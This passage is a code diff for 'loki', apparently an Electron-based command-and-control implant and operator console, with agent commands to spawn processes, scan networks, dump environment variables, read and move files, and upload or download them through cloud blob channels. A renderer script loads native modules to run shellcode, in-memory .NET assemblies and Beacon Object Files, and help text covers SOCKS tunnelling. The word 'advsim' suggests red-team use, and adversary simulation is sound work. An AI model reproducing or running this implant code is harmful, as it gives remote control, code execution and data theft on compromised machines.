finalize();
});
// Resolve NS Records
resolver.resolveNs(hostname, (err, records) => {
data += err ? `Error resolving NS records: ${err.message}\r\n`
: `NS Records: ${records.join(', ')}\r\n`;
finalize();
});
} else {
resolver.lookup(parts[2], (err, address, family) => {
data += err ? `Error: ${err.message}\r\n`
: `IP Address: ${address}, Family: IPv${family}\r\n`;
resolve(data);
});
}
} else {
data += 'Usage: dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n';
resolve(data);
}
break;
case 'resolve':
if (parts[2]) {
resolver.resolve(parts[2], (err, addresses) => {
data += err ? `Error: ${err.message}\r\n`
: `IP Addresses: ${addresses.join(', ')}\r\n`;
resolve(data);
});
} else {
data += 'Usage: dns resolve <hostname>\r\n';
resolve(data);
}
break;
case 'reverse':
if (parts[2]) {
resolver.reverse(parts[2], (err, hostnames) => {
data += err ? `Error: ${err.message}\r\n`
: `Hostnames: ${hostnames.join(', ')}\r\n`;
resolve(data);
});
} else {
data += 'Usage: dns reverse <ip-address>\r\n';
resolve(data);
}
break;
case 'config':
try {
data += `Current DNS Servers: ${dns.getServers().join(', ')}\r\n`;
} catch (error) {
data += `Error retrieving DNS config: ${error.message}\r\n`;
}
resolve(data);
break;
default:
data += 'Unknown command\r\n';
resolve(data);
}
} catch (error) {
data += `Unexpected error: ${error.message}\r\n${error.stack}\r\n`;
resolve(data);
}
});
}
// Function to simulate doing some work with the blob content
async function func_Command_Handler(cmd)
{
try
{
//log('# func_Command_Handler()');
//log(`cmdline : ${cmd}`);
if ( cmd != "")
{
const argv = func_Split_Quoted_String(cmd);
log(`handler.js | func_Command_Handler | cmd : ${argv}`);
//log(`[+] argv: ${argv}`);
if (argv[0] != "")
{
let data;
let clearResponse;
let response;
const arg1 = argv.length > 0 ? argv[1] : '';
const args = argv.slice(2);
//log(`# CMD ARGS \r\n\targv : ${argv[0]}\r\n\targ1 : ${arg1}\r\n\targs : ${args}`);
//log('[+] Command : ', argv[0]);
if (argv[0] == 'spawn')
{
log('command:', arg1);
log('args :', args);
data = await func_Spawn_Child(arg1, args);
//data = safeStringify(data);
data = data.stdout;
log('Command Output:', data);
}
if (argv[0] == 'scan') {
const host = argv[1];
const portsArg = argv.find(arg => arg.startsWith('-p'));
const ports = portsArg ? portsArg.substring(2).split(',').map(Number) : [80, 443]; // Default ports if not specified
const isCIDR = host.includes('/');
if (isCIDR) {
const [base, mask] = host.split('/');
const baseIP = base.split('.').map(Number);
const range = 1 << (32 - Number(mask));
const openPorts = [];
for (let i = 0; i < range; i++) {
const ip = baseIP.slice();
ip[3] += i;
const ipStr = ip.join('.');
const result = await func_Scan_Ports(ipStr, ports);
// if (result.length > 0) {
openPorts.push(`${ipStr}: ${result.join(', ')}`);
// } //else {
// openPorts.push(`${ipStr}: none`);
// }
}
data = openPorts.join('\n');
} else {
const result = await func_Scan_Ports(host, ports);
data = `${host}: ${result.join(', ')}`;
}
}
if (argv[0] == 'dns')
{
data = await dnsHandler(cmd);
}
if (argv[0] == 'set')
{
if (argv[1] == 'scexec_path')
{
global.scexecNodePath = argv[2];
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}`;
log(data);
}
else if (argv[1] == 'assembly_path')
{
global.assemblyNodePath = argv[2];
data = `Assembly Node Load Path Set to : ${global.assemblyNodePath}`;
log(data);
}else
{
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}\r\nAssembly Node Load Path Set to : ${global.assemblyNodePath}`;
log(data);
}
}
if (argv[0] == 'drives')
{
data = await func_Drives_List();
}
if (argv[0] == 'ls')
{
let path;
if (typeof argv[1] === 'undefined')
{
path = ".";
}else{
path = argv[1];
}
data = await ls(path);
}
if (argv[0] == 'env')
{
//data = process.env;
//data = common.func_Base64_Encode(data);
let env = process.env;
data = JSON.stringify(env, null, 2);
//log(env);
}
if (argv[0] == 'cat')
{
file = argv[1];
data = await func_File_Read(file);
}
if (argv[0] == 'pwd')
{
data = process.cwd().replace(/\\/g, '/');;
}
if (argv[0] == 'sleep')
{
sleepInterval = await validateAndAdjustNumber(Number(argv[1]), 3000, 0, max = 30000);
jitter = await validateAndAdjustNumber(Number(argv[2]), 15, 0, max = 300);
data = `Sleeping for ${sleepInterval}ms with ${jitter} percent jitter.`;
}
if (argv[0] == 'mv')
{
src = argv[1];
dest = argv[2];
data = await func_File_Move(src,dest);
}
if (argv[0] == 'cp')
{
src = argv[1];
dest = argv[2];
data = await func_File_Copy(src,dest);
}
if (argv[0] == 'ps')
{
if (wpt == null)
{
data = "wpt.node failed to load so no ps cmd available."
}
else
{
await getProcessListWrapper();
await new Promise(resolve => setTimeout(resolve, 2000));
data = processList;
}
}
return data;
}
}
}catch(error)
{
return error;
}
}
module.exports = {
func_Command_Handler
};
+1473 -264
View File
File diff suppressed because it is too large Load Diff
+2 -4
View File
@@ -1,6 +1,6 @@
{
"name": "loki",
"version": "1.0.0",
"version": "2.0.0",
"main": "./main.js",
"scripts": {
"start": "electron .",
@@ -19,7 +19,7 @@
"appId": "",
"productName": "",
"copyright": "",
"asar": true,
"asar": false,
"files": [
"main.js",
"*.html",
@@ -32,14 +32,12 @@
"mac": {
"icon": "assets/mac/icon.icns",
"target": [
"dmg",
"zip"
]
},
"win": {
"icon": "assets/win/icon.ico",
"target": [
"nsis",
"zip"
]
},
+7
View File
@@ -0,0 +1,7 @@
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script src="renderer.js"></script>
</body></html>
+213
View File
@@ -0,0 +1,213 @@
const { ipcRenderer } = require('electron');
const { log } = require('console');
ipcRenderer.on('make-web-request', async (event, requestOptions) => {
try {
const { url, method = 'GET', headers = {}, body, requestId, isBytes } = requestOptions;
const defaultHeaders = {
'Cache-Control': 'no-cache, no-store, must-revalidate',
'Pragma': 'no-cache',
'Expires': '0'
};
const fetchOptions = {
method,
headers: { ...defaultHeaders, ...headers }
};
if (body !== undefined) {
fetchOptions.body = body;
}
const response = await fetch(url, fetchOptions);
let data = "";
if(isBytes) {
// // log(`[WEB-REQUEST] Response is bytes`);
const arrayBuffer = await response.arrayBuffer();
data = Buffer.from(arrayBuffer);
} else {
data = await response.text();
}
ipcRenderer.send(`web-request-response-${requestId}`, {
status: response.status,
statusText: response.statusText,
headers: Object.fromEntries(response.headers.entries()),
data: data
});
} catch (error) {
ipcRenderer.send(`web-request-response-${requestId}`, {
error: error.message
});
}
});
ipcRenderer.on('execute-assembly-node', async (event, path, data, args) => {
try {
// // log(`[ASSEMBLY] Received assembly execution request`);
// // log(`[ASSEMBLY] Path: ${path}`);
// // log(`[ASSEMBLY] Args: ${JSON.stringify(args)}`);
const node = require(path);
const result = node.execute_assembly(data, args);
ipcRenderer.send('assembly-complete', result);
} catch (error) {
// // log(`[ASSEMBLY] Error executing assembly: ${error.message}`);
// // log(`[ASSEMBLY] Error stack: ${error.stack}`);
ipcRenderer.send('assembly-complete', `Error: ${error.message}`);
}
});
class BeaconPack {
constructor() {
this.buffer = Buffer.alloc(0);
this.size = 0;
}
getBuffer() {
// Create a buffer for the size (4 bytes) + the actual buffer
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(this.size, 0);
return Buffer.concat([sizeBuffer, this.buffer]);
}
addShort(short) {
const shortBuffer = Buffer.alloc(2);
shortBuffer.writeInt16LE(short, 0);
this.buffer = Buffer.concat([this.buffer, shortBuffer]);
this.size += 2;
}
addInt(dint) {
const intBuffer = Buffer.alloc(4);
intBuffer.writeInt32LE(dint, 0);
this.buffer = Buffer.concat([this.buffer, intBuffer]);
this.size += 4;
}
addString(s) {
if (typeof s === 'string') {
s = Buffer.from(s, 'utf-8');
}
// Add null terminator
s = Buffer.concat([s, Buffer.from([0])]);
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(s.length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
this.size += 4 + s.length;
}
addWString(s) {
if (typeof s === 'string') {
s = Buffer.from(s, 'utf16le');
}
// Add null terminator (2 bytes for UTF-16)
s = Buffer.concat([s, Buffer.from([0, 0])]);
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(s.length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, s]);
this.size += 4 + s.length;
}
addBinary(data, length) {
if (typeof data === 'string') {
data = Buffer.from(data, 'utf-8');
}
const sizeBuffer = Buffer.alloc(4);
sizeBuffer.writeUInt32LE(length, 0);
this.buffer = Buffer.concat([this.buffer, sizeBuffer, data]);
this.size += 4 + length;
}
reset() {
this.buffer = Buffer.alloc(0);
this.size = 0;
}
}
ipcRenderer.on('execute-bof-node', async (event, path, bof_data, functionName, formatString, formatArgs) => {
try {
// log(`[REND][IPC][BOF] Path: ${path}`);
// log(`[REND][IPC][BOF] Function Name: ${functionName}`);
//log(`[REND][IPC][BOF] BOF Data: ${bof_data.toString('hex')}`);
// log(`[REND][IPC][BOF] Format String: ${formatString}`);
// log(`[REND][IPC][BOF] Format Args: ${formatArgs}`);
// Create argument data using BeaconPack
const beaconPack = new BeaconPack();
// Process each format specifier and its corresponding argument
for (let i = 0; i < formatString.length; i++) {
const formatChar = formatString[i];
const arg = formatArgs[i];
switch (formatChar) {
case 'z': // null-terminated string
beaconPack.addString(arg);
break;
case 'w': // wide string
beaconPack.addWString(arg);
break;
case 'i': // integer
beaconPack.addInt(parseInt(arg));
break;
case 'b': // binary blob
const [data, length] = arg.split(',');
beaconPack.addBinary(data, parseInt(length));
break;
default:
console.error(`[BOF] Error: Unknown format specifier '${formatChar}'`);
process.exit(1);
}
}
const argumentData = beaconPack.getBuffer();
// log('[BOF] Packed argument data:', argumentData.toString('hex'));
const COFFLoader = require(path);
const result = COFFLoader.runCOFF(functionName, bof_data, argumentData, argumentData.length);
// log(`[REND][IPC][BOF] Result: ${JSON.stringify(result)}`);
//const asciiResult = Buffer.from(result.output.data).toString('ascii');
//log(`[BOF][+] BOF ASCII result:\r\n ${asciiResult}`);
ipcRenderer.send('bof-complete', result);
} catch (error) {
// log(`[BOF] Error executing bof: ${error.message}`);
// log(`[BOF] Error stack: ${error.stack}`);
ipcRenderer.send('bof-complete', `Error: ${error.message}`);
}
});
ipcRenderer.on('execute-scexec-node', async (event, path, data) => {
try {
// Resolve absolute path
const resolvedPath = require('path').resolve(__dirname, path);
//log(`[SCEXEC] Resolved path: ${resolvedPath}`);
if (!Buffer.isBuffer(data)) {
// log(`[SCEXEC] Converting data to Buffer: ${data}`);
data = Buffer.from(data);
}
const node = require(resolvedPath);
const result = node.run_array(data);
// log(`func_Azure_File_Download_Exec result : ${result}`);
ipcRenderer.send('scexec-complete', result);
} catch (error) {
// log(`[SCEXEC] Error executing scexec: ${error.message}`);
// log(`[SCEXEC] Error stack: ${error.stack}`);
ipcRenderer.send('scexec-complete', `Error: ${error.message}`);
}
});
ipcRenderer.on('load', async (event, path) => {
try {
const module = require(path);
// // log(`[LOAD] Successfully loaded module from path: ${path}`);
ipcRenderer.send('load-complete', 'Module loaded successfully');
} catch (error) {
// // log(`[LOAD] Error loading module: ${error.message}`);
// // log(`[LOAD] Error stack: ${error.stack}`);
ipcRenderer.send('load-complete', `Error: ${error.message}`);
}
});
Binary file not shown.
@@ -177,6 +177,6 @@ tr > td {
</div>
<div id="commandDropdown"></div>
</div>
<script src="agent-window.js"></script>
<script src="agent.js"></script>
</body>
</html>
+233 -75
View File
@@ -22,11 +22,7 @@ let user_log = '';
let pid_log = '';
let currentSuggestionIndex = -1;
let suggestions = [];
let containerName = '';
let containerKey;
let containerBlob;
let agentObj;
let agent;
global.agent;
let window_agentid = "";
const commands = [
@@ -34,10 +30,11 @@ const commands = [
'spawn', 'drives', 'cat',
'mv', 'sleep', 'cp', 'load',
'upload', 'download', 'scexec', 'scan',
'exit-all', 'assembly', 'help', 'dns'
'exit', 'assembly', 'help', 'dns','cd',
'bof'
];
const commandHistory = [];
global.commandHistory = [];
let currentCommandIndex = -1;
function generateUUID(len) {
@@ -70,7 +67,7 @@ function timeDifference(oldTimestamp) {
}
const commandDetails = [
{ name: "help", help: "Display help.\r\n" },
{ name: "help", help: "Display this help menu\r\n" },
{ name: "pwd", help: "Print working directory\r\n\tpwd\r\n" },
{ name: "ls", help: "File and directory listing\r\n\tls [remote_path]\r\n\tls ./\r\n\tls C:/Users/user/Desktop/\r\n" },
{ name: "cat", help: "Display contents of a file\r\n\tcat [remote_path]\r\n\tcat ./kernel.js\r\n\tcat C:/Users/user/Desktop/creds.log\r\n" },
@@ -80,12 +77,17 @@ const commandDetails = [
{ name: "mv", help: "Move a file to a new destination\r\n\tmv [remote_src] [remote_dst]\r\n\t" },
{ name: "sleep", help: "Sleep for seconds with jitter\r\n\sleep [s] [jitter%]\r\n\tsleep 20 15\r\n\t" },
{ name: "cp", help: "Copy a file\r\n\tcp [remote_src] [remote_dst]\r\n\t" },
{ name: "exit-all", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
{ name: "cd", help: "Change directory\r\n\tcd [remote_path]\r\n\tcd /agent/dst\r\n\t" },
{ name: "exit", help: "Exits the agent. The agent won't callback anymore\r\n\t" },
{ name: "load", help: "Load a node PE file from disk into the process\r\n\tload [remote_path]\r\n\tload ./git.node\r\n\t- Needs the ./ in front\r\n" },
{ name: "scexec", help: "Execute shellcode\r\n\tscexec [local_path]\r\n\tscexec /operator/src/shellcode/bin\r\n" },
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
{ name: "socks", help: "socks <url> \r\n" +
" - Connect to a SOCKS5 server.\r\n" +
" Examples:\r\n" +
" socks xyz.cloudfront.net:443/ws/agent/09f21e3b6e247b8a6a6ee2472f5\r\n" },
{ name: "scan", help: "scan <host> [-p<ports>] \r\n" +
" - The target host or CIDR range to scan.\r\n" +
" - Options:\r\n" +
@@ -110,7 +112,8 @@ const commandDetails = [
" - Use a custom DNS server\r\n" +
" dns @default\r\n" +
" - Reset the DNS server config\r\n" },
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" }
{ name: "set", help: "Set the Node load paths for assembly node and scexec nodes\r\n\tset scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node\r\n\tset assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node\r\n" },
{ name: "bof", help: "Execute a Beacon Object File (BOF)\r\n\tbof <path_to_coff_file> <function_name> <format_string> [args...]\r\n\tFormat specifiers:\r\n\t z = null-terminated string (char*)\r\n\t i = 4-byte integer (int)\r\n\t b = binary blob (void*, length)\r\n\t w = wide string (wchar_t*)\r\n\tExamples:\r\n\t bof ./test.coff go z test_string\r\n\t bof ./test.coff go i 1234\r\n\t bof ./test.coff go b 41414141 4\r\n\t bof ./test.coff go w test_wide_string\r\n" }
];
function getHelpInfo(command) {
@@ -190,7 +193,55 @@ function getFormattedTimestamp() {
return formattedTimestamp;
}
class Task {
constructor(command) {
this.outputChannel = 'o-' + Math.random().toString(36).substring(2, 14);
this.uploadChannel = 'u-' + Math.random().toString(36).substring(2, 14);
this.command = command;
this.taskid = Math.random().toString(36).substring(2, 14);
}
}
function getCommandHistoryFile(hostname) {
return path.join(directories.logDir, `command_history_${hostname}.log`);
}
function saveCommandToHistory(command, hostname) {
try {
const historyFile = getCommandHistoryFile(hostname);
fs.appendFileSync(historyFile, `${command}\n`);
} catch (error) {
log(`Error saving command to history: ${error.message}`);
}
}
function loadCommandHistory(hostname) {
try {
const historyFile = getCommandHistoryFile(hostname);
if (fs.existsSync(historyFile)) {
const commands = fs.readFileSync(historyFile, 'utf8').split('\n').filter(cmd => cmd.trim());
global.commandHistory = commands;
currentCommandIndex = global.commandHistory.length;
}
} catch (error) {
log(`Error loading command history: ${error.message}`);
}
}
function showHelp() {
const maxLength = commandDetails.reduce((max, cmd) => {
return cmd.name.length > max ? cmd.name.length : max;
}, 0);
commandDetails.forEach(thiscmd => {
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
let cmdhelp = thiscmd.help.split('\r\n');
cmdhelp = cmdhelp[0];
printToConsole(`<i style="color:#c0c0c0">${paddedName} : ${cmdhelp}</i>`);
});
}
function sendCommand() {
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
try {
if (global.inputload === false) {
return;
@@ -198,22 +249,21 @@ function sendCommand() {
const input = document.getElementById('consoleInput');
let command = input.value.trim();
command = command.trim();
commandHistory.push(command);
global.commandHistory.push(command);
saveCommandToHistory(command, global.agent.hostname);
let original_command = command;
let argv = splitStringWithQuotes(command);
if (commandHistory.length > 1000) {
commandHistory.shift();
}
currentCommandIndex = commandHistory.length;
let PSString;
if (agentObj) {
PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">advsim</span>`
if (global.commandHistory.length > 1000) {
global.commandHistory.shift();
}
currentCommandIndex = global.commandHistory.length;
let PSString = `<span style="color:#acdff2">[${getFormattedTimestamp()}]</span> <span style="color:#ff0000">${global.agent.username}</span>`;
let UnknownCommand = true;
commandDetails.forEach(thiscmd => {
if (argv[0] === thiscmd.name) { UnknownCommand = false; }
});
if (UnknownCommand) {
printToConsole(`Unknown command: ${command}`);
printToConsole(`<i><span style="color:#ff0000">[!] Unknown command : "${command}". Type "help" for a list of commands.</span></i>`);
input.value = '';
closeDropdown();
return;
@@ -236,34 +286,31 @@ function sendCommand() {
}
if (argv.length > 1) {
let commandHelp = getHelpInfo(command);
printToConsole(`${PSString}$ ${command}`);
printToConsole(commandHelp);
printToConsole(`${PSString}$ ${original_command}`);
printToConsole(`<i style="color:#c0c0c0">${commandHelp}</i>`);
input.value = '';
closeDropdown();
return;
} else {
const maxLength = commandDetails.reduce((max, cmd) => {
return cmd.name.length > max ? cmd.name.length : max;
}, 0);
commandDetails.forEach(thiscmd => {
const paddedName = thiscmd.name.padEnd(maxLength, ' ');
let cmdhelp = thiscmd.help.split('\r\n');
cmdhelp = cmdhelp[0];
printToConsole(`${paddedName} : ${cmdhelp}`);
});
printToConsole(`${PSString}$ ${original_command}`);
showHelp();
input.value = '';
closeDropdown();
return;
}
}
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
containerCmd.key = JSON.parse(containerKey);
containerCmd.name = containerName;
containerCmd.cmd = command;
const task = new Task(
command
);
if (!Array.isArray(global.agent.tasks)) {
global.agent.tasks = [];
}
global.agent.tasks.push(task);
let download;
let upload = false;
let scexec_upload = false;
let assembly_upload = false;
let bof_upload = false;
let uploadblob = "";
let uploadfile = "";
let argsAmountError = false;
@@ -278,9 +325,9 @@ function sendCommand() {
if (argv.length == 2) {
download = doDownloadFile(argv);
command = `download ${download['file']} ${download['blob']}`;
containerCmd.cmd = command;
log(`agent-window.js : IPC : pull-download-file`);
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd), download['file'], download['blob']);
global.agent.tasks[global.agent.tasks.length - 1].command = command;
log(`agent.js : IPC : pull-download-file`);
ipcRenderer.send('pull-download-file', global.agent, download['file'], download['blob']);
} else {
argsAmountError = true;
}
@@ -291,7 +338,7 @@ function sendCommand() {
const destFilePath = argv[2];
uploadblob = 'u' + generateUUID(10);
command = `upload ${uploadblob} ${destFilePath}`;
containerCmd.cmd = command;
global.agent.tasks[global.agent.tasks.length - 1].command = command;
upload = true;
} else {
argsAmountError = true;
@@ -302,7 +349,7 @@ function sendCommand() {
scfile = argv[1];
scblob = 'sc' + generateUUID(10);
command = `scexec ${scblob}`;
containerCmd.cmd = command;
global.agent.tasks[global.agent.tasks.length - 1].command = command;
scexec_upload = true;
} else {
argsAmountError = true;
@@ -315,13 +362,21 @@ function sendCommand() {
log(`args string : ${args}`);
scblob = 'sc' + generateUUID(10);
command = `assembly ${scblob} ${args}`;
containerCmd.cmd = command;
global.agent.tasks[global.agent.tasks.length - 1].command = command;
assembly_upload = true;
} else {
argsAmountError = true;
}
}
if (argv[0] == "bof") {
if (argv.length > 1) {
bof_upload = true;
} else {
argsAmountError = true;
}
}
if (argsAmountError == true) {
let ArgsError = `Incorrect amount of arguments supplied to ${argv[0]} command`;
let commandHelp = getHelpInfo(argv[0]);
@@ -333,22 +388,24 @@ function sendCommand() {
}
log(`Sending command ${command}`);
printToConsole(`${PSString}$ ${command}`);
printToConsole(`${PSString}$ ${original_command}`);
input.value = '';
if (upload) {
printToConsole(`Uploading operator ${uploadfile} file to blob ${uploadblob}`);
ipcRenderer.send('upload-file-to-blob', JSON.stringify(containerCmd), uploadfile, uploadblob);
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${uploadfile}</b> file to blob <b>${uploadblob}</b></i>`);
ipcRenderer.send('upload-file-to-blob', global.agent, uploadfile, uploadblob);
} else if (assembly_upload) {
printToConsole(`Uploading operator ${scfile} assembly file to blob ${scblob}`);
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob);
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> assembly file to blob <b>${scblob}</b></i>`);
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
} else if (bof_upload) {
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${argv[1]}</b> BOF file to blob <b>${task.uploadChannel}</b></i>`);
ipcRenderer.send('upload-sc-to-blob', global.agent, argv[1], task.uploadChannel);
} else if (scexec_upload) {
printToConsole(`Uploading operator ${scfile} shellcode file to blob ${scblob}`);
ipcRenderer.send('upload-sc-to-blob', JSON.stringify(containerCmd), scfile, scblob);
printToConsole(`<i style="color:#808080">[+] Uploading operator <b>${scfile}</b> shellcode file to blob <b>${scblob}</b></i>`);
ipcRenderer.send('upload-sc-to-blob', global.agent, scfile, scblob);
} else {
log(`agent-window.js : IPC : upload-client-command-to-input-channel`);
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd));
log(`agent.js | sendCommand() | agent : \r\n${JSON.stringify(global.agent)}`);
ipcRenderer.send('upload-client-command-to-input-channel', global.agent);
closeDropdown();
}
} catch (error) {
@@ -356,10 +413,11 @@ function sendCommand() {
}
}
ipcRenderer.on('send-upload-command', (event, containerCmd) => {
ipcRenderer.on('send-upload-command', (event, agent_object) => {
try {
printToConsole(`[+] Completed uploading operator file to blob`);
ipcRenderer.send('upload-client-command-to-input-channel', containerCmd);
log(`agent.js | send-upload-command | agent_object : ${JSON.stringify(agent_object)}`);
printToConsole(`<i style="color:#808080">[+] Completed uploading operator file to blob</i>`);
ipcRenderer.send('upload-client-command-to-input-channel', agent_object);
} catch (error) {
log(error);
}
@@ -472,15 +530,17 @@ function handleTabCompletion(event) {
}
window.addEventListener('DOMContentLoaded', async () => {
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) => {
try {
containerName = name;
containerKey = JSON.stringify(aes);
containerBlob = JSON.stringify(blobs);
agent = JSON.parse(agentJson);
agentObj = agent;
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
ipcRenderer.on('container-data', (event, agent_object) => {
try {
log(`agent.js | container-data | agent_object : ${JSON.stringify(agent_object)}`);
containerName = agent_object.container;
containerKey = agent_object.aes;
containerBlob = agent_object.blobs;
//agent = JSON.parse(agent_object);
global.agent = agent_object;
document.title = `${agent_object.agentid.toUpperCase()} | ${agent_object.hostname.toUpperCase()} | ${agent_object.username.toUpperCase()} | ${agent_object.IP}`;
const input = document.getElementById('consoleInput');
input.focus();
@@ -489,6 +549,7 @@ window.addEventListener('DOMContentLoaded', async () => {
log(error);
}
});
ipcRenderer.on('agent-checkin', (event, checkin_data) => {
try {
printToConsole(`Checkin Data : ${checkin_data}`);
@@ -498,6 +559,7 @@ window.addEventListener('DOMContentLoaded', async () => {
});
ipcRenderer.on('command-result', (event, result) => {
log(`[AGENT][IPC] command-result : ${result}`);
printToConsole(result);
});
@@ -514,16 +576,16 @@ window.addEventListener('DOMContentLoaded', async () => {
} else if (event.key === 'ArrowUp') {
if (currentCommandIndex > 0) {
currentCommandIndex--;
input.value = commandHistory[currentCommandIndex];
input.value = global.commandHistory[currentCommandIndex] || "";
} else if (currentCommandIndex === 0) {
input.value = commandHistory[currentCommandIndex];
input.value = global.commandHistory[currentCommandIndex] || "";
}
event.preventDefault();
} else if (event.key === 'ArrowDown') {
if (currentCommandIndex < commandHistory.length - 1) {
if (currentCommandIndex < global.commandHistory.length - 1) {
currentCommandIndex++;
input.value = commandHistory[currentCommandIndex];
} else if (currentCommandIndex === commandHistory.length - 1) {
input.value = global.commandHistory[currentCommandIndex] || "";
} else if (currentCommandIndex === global.commandHistory.length - 1) {
currentCommandIndex++;
input.value = '';
}
@@ -548,17 +610,25 @@ window.addEventListener('DOMContentLoaded', async () => {
event.preventDefault();
}
});
// Send message to main process to add test command menu item
ipcRenderer.send('add-test-command-menu');
// Listen for test command trigger from main process
ipcRenderer.on('execute-test-command', () => {
executeCommandTests();
});
});
async function updateTable() {
try {
const agentTable = document.getElementById('agentTable').getElementsByTagName('tbody')[0];
let agentid = agent.agentid;
let agentid = global.agent.agentid;
window_agentid = agentid;
let agentcheckin = await ipcRenderer.invoke('get-agent-checkin', agentid);
if (agentcheckin) {
log(`agentcheckin : ${agentcheckin}`);
//log(`agentcheckin : ${agentcheckin}`);
agentcheckin = JSON.parse(agentcheckin);
const filePath = agentcheckin.Process.trim();
@@ -572,11 +642,11 @@ async function updateTable() {
}
for (let row of agentTable.rows) {
let platformName = agentcheckin.platform;
if (agent.platform === "darwin") {
if (global.agent.platform === "darwin") {
platformName = "macOS";
} else if (agent.platform === "win32") {
} else if (global.agent.platform === "win32") {
platformName = "Windows";
} else if (agent.platform === "linux") {
} else if (global.agent.platform === "linux") {
platformName = "Linux";
}
row.cells[0].textContent = agentcheckin.agentid;
@@ -595,6 +665,7 @@ async function updateTable() {
if (global.historyload === false) {
log(`Loading previous command history`);
global.historyload = true;
loadCommandHistory(global.agent.hostname);
loadPreviousLogs();
}
global.inputload = true;
@@ -605,10 +676,51 @@ async function updateTable() {
}
setInterval(updateTable, 1000);
ipcRenderer.on('command-output', (event, output) => {
async function format_ls_output(filesAndFolders) {
let resultBuffer = '';
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
log(`[AGENT][IPC] format_ls_output : ${filesAndFolders}`);
let entries = JSON.parse(filesAndFolders)
for (const entry of entries) {
try {
log(`[AGENT][IPC] entry : ${entry}`);
const options = {
month: '2-digit',
day: '2-digit',
year: '2-digit',
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
hour12: false
};
resultBuffer += (entry.name || '').padEnd(60);
resultBuffer += (entry.type || '').padEnd(16);
resultBuffer += (entry.stats.size ? String(entry.stats.size) : '').padEnd(15);
resultBuffer += (entry.stats.ctimeMs ? new Date(entry.stats.ctimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
resultBuffer += (entry.stats.mtimeMs ? new Date(entry.stats.mtimeMs).toLocaleString('en-US', options).replace(',', '') : '').padEnd(24);
resultBuffer += '\n';
} catch (err) {
log(`Error: ${err.message}`);
}
}
return resultBuffer;
}
ipcRenderer.on('command-output', async (event, command_response) => {
try {
if (output) {
printToConsole(output);
if (command_response.command.startsWith('ls')) {
let resultBuffer = await format_ls_output(command_response.output);
printToConsole(resultBuffer);
} else if (command_response.command.startsWith('bof ')) {
if (command_response.command.startsWith('bof ')) {
printToConsole(command_response.output.replace(/</g, '&lt;').replace(/>/g, '&gt;'));
} else {
printToConsole(command_response.output);
}
} else {
printToConsole(command_response.output);
}
} catch (error) {
log(`Error in ipcRender(delete-old-container): ${error.message}\r\n${error.stack}`);
@@ -617,7 +729,7 @@ ipcRenderer.on('command-output', (event, output) => {
ipcRenderer.on('window-closing', async () => {
try {
log(`agent-window.js : IPC window-closing`);
log(`agent.js : IPC window-closing`);
log(`agentid: ${window_agentid}`);
ipcRenderer.send('force-close', window_agentid);
} catch (error) {
@@ -663,3 +775,49 @@ function moveCursorByWord(input, direction) {
}
input.selectionStart = input.selectionEnd = pos;
}
const testCommands = [
{ command: "sleep 1 0"},
{ command: "sleep 0 0"},
{ command: "cd C:\\TEMP"},
{ command: "pwd"},
{ command: "ls \"C:\\Program Files (x86)\\Microsoft\""},
{ command: "ls C:\\\\Program\\ Files\\ (x86)\\\\Microsoft"},
{ command: "ls 'C:\\Program Files (x86)\\Microsoft'"},
{ command: "ls 'C:/Program Files (x86)/Microsoft'"},
{ command: "dns reverse 1.1.1.1"},
{ command: "dns lookup google.com"},
{ command: "bof /Users/bobby/CS/SA/dir/dir.x64.o go z \"C:\\Users\\user\\Desktop\""},
{ command: "spawn powershell.exe -c \"echo testing > C:\\TEMP\\testing.txt\""},
{ command: "ls"},
{ command: "pwd"},
{ command: "cat testing.txt"},
{ command: "mv testing.txt testing2.txt"},
{ command: "ls .\\"},
{ command: "cp testing2.txt testing3.txt"},
{ command: "ls ./"},
{ command: "download testing3.txt"},
{ command: "cd"},
{ command: "upload /Users/bobby/Loki/downloads/testing3.txt ./"},
